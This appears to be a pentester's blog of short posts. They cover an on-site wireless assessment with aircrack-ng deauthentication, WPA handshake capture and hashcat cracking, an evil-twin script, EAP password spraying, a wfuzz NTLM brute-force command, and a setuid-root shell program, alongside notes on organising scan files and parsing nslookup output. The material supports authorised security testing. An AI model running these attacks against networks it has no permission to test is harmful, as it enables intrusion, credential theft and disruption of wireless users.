WiFi

Doing a Wireless Penetration Test

Make sure you have everything you’ll need, since these always need to be on-site.

  • Computer (even better to bring more than 1), with Kali Linux installed
  • Power cords
  • WiFi Card(s) – at least 1 since they don’t like to work when they need to
  • Different antennas
  • MiFi, since they’re probably not going to let you on the network so easily
  • USB Hub, as the wireless card might need extra power
  • OEM power cords
  • Power strip – there’s a lot to plug in

That’s a good start.

Thanks to Ted Raffle for this writeup.

Start up Kali, plug in the card, run iwconfig to see whether it is connected

Get rid of unnecessary processes: airmon-ng check kill

Start the interface: airmon-ng start wlan0

To see networks and their MAC: airodump-ng –band abg -cswitch 1 wlan0mon

If you need to de-auth: aireplay-ng –deauth <number of packets or 0 for infinite> -a [MAC of AP] -c [MAC of client] wlan0mon

Capture a PSK: airodump-ng wlan0mon -c 1 –bssid [MAC of AP] –write <filename>

Turn handshake value into a hashcat value: wpaclean clean.cap <filename>-01.cap

And: aircrack-ng clean.cap -J hccap

hashcat -m 2500 hccap.hccap -w wordlist rules/rule

Evil Twin:

Have mana installed

Use Nick Sanzotta’s “manaSucks” script:

python manaSucks.py -iwlan0mon -m=<fake MAC address> –hostname ‘anything’ -s<SSID> -c6 –manaloud=0

For brute forcing the EAP network, get usernames, either also from Nick Sanzotta’s WiFiSuite, or from evil twin, or from scraping, use WiFiSuite:

python wifisuite.py -iwlan0mon -s”<SSID>” -u <username file> -p<password> spray

If you get guest network access, test for network segmentation. nmap the neighborhood looking for “up” hosts. If there are any, nmap them for services. Also check for nameservers.

If you get on the corporate network with credentials, it’s essentially now an internal assessment. Pick something to show risk and move on. After all, it’s a wireless assessment.

Test outside the building for access

Plug in a wifi repeater/AP, is it detected? Are there network access controls? (Probably not, and now you have internal access)

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Getting Organized

Learning how to get organized and put things in the proper place. I suspect that I’ll come back and add things like naming conventions. But this is what I got so far for organizing the information gathered during a pen test, in a directory.

Customer name

  • screenshots
  • services
  • scans
    • nexpose|appscan
    • nmap
      • xml
      • gnmap
      • nmap
    • pings
    • enum

As few nmap scans as possible, and name them after the network or if there is something else that makes sense. So the files may be named 192.168.10.10.gnnmap and so on.
Ping files are named the same way, but are prefixed with ping-
enum files are for enumerating a domain controller. These are prefixed with enum- and end with -dc
Services are IP addresses and the file is named with the service-host
All data is immediately removed and encrypted off the machine and deleted as soon as reasonably possible.

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Use “host” instead of nslookup

A couple posts down, I was parsing the nslookup command to get hostnames. Even easier, use the host command. The hostname seems to be the fifth string after spaces, so using cut, it might look something like:

host <ip> | cut -d " " -f5

But there will be a period at the end, so just clean that up. Next is to get the IP and the hostname in some easy format, like colon or pipe delimited.

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Quick and Dirty Loop

Sometimes you gotta run a command lots of times. So let a loop do it. Here’s one example:

for ip in $(cat ips.txt); do
nslookup $ip >> nslookups.txt
done

This will take a file of IP addresses (ips.txt) and run nslookup on each IP and output the results to nslookups.txt. Or just remove the >> nslookups.txt if you want the output to the screen.

Easy.

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nslookup

Parsing nslookup

So today I had to convert IP addresses to hostnames. Seems easy enough, just use nslookup. But I had more than 400 IPs that needed to be converted. Ugh. So we need to do a little parsing.

First, take the IP addresses and get the host information. Let’s script this.

for ip in $(cat ips.txt); do
    nslookup $ip >> nslookups.txt
done

This will do an nslookup for each of the IPs in the ips.txt file. Great! Now we need to parse it. This should be pretty easy to just look for “name=” except sometimes, there isn’t a hostname and then “name=” doesn’t appear. So instead we look for something else that is always in there, regardless of whether there is a hostname. It seems the string “arpa” matches this. So the next step is to find that and then cut the hostname, or something that doesn’t look like a hostname if there isn’t one.

grep arpa nslookups.txt | cut -d " " -f3 > hostnames.txt

When this finishes, the hostnames.txt file will have one string per line, either the hostname or the word “can’t”. At this point, do a find/replace for “can’t” and make it blank (since there isn’t a hostname for that IP).

Now you have two files, one with all the IPs and one with the hostnames. Put them in two Excel columns and match them up. There is one more problem here that I haven’t found a good solution for yet. Some of the IPs may have more than one hostname. So when you match up the columns in Excel, you’ll likely have more hostnames than IPs. Unfortunately the only solution I have so far is to read through the nslookups.txt file, find the entries with more than one hostname and then manually fix this in the Excel file. It takes a little bit of time, but definitely better than running nslookup manually hundreds of times.

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Using WFuzz

Had a little bit of trouble figuring it out, so adding the format that I found here:

# wfuzz -c -z file,/usr/files/userfile -z file,/usr/files/passfile –ntlm FUZZ:FUZ2Z https:///

In a nutshell, the -z coincides with the “FUZZ”. Each subsequent payload/FUZZ combination points to the FUZ2Z or FUZ3Z and so on.

WFuzz Project

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Getting root

#include <stdio.h>
#include <string.h>

int main()
{
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("/bin/bash");
    return(0);
}
  • Save as foo.c
  • Compile gcc foo.c -o foo
  • sudo chmod u+s foo
  • ./foo
  • id

 

 

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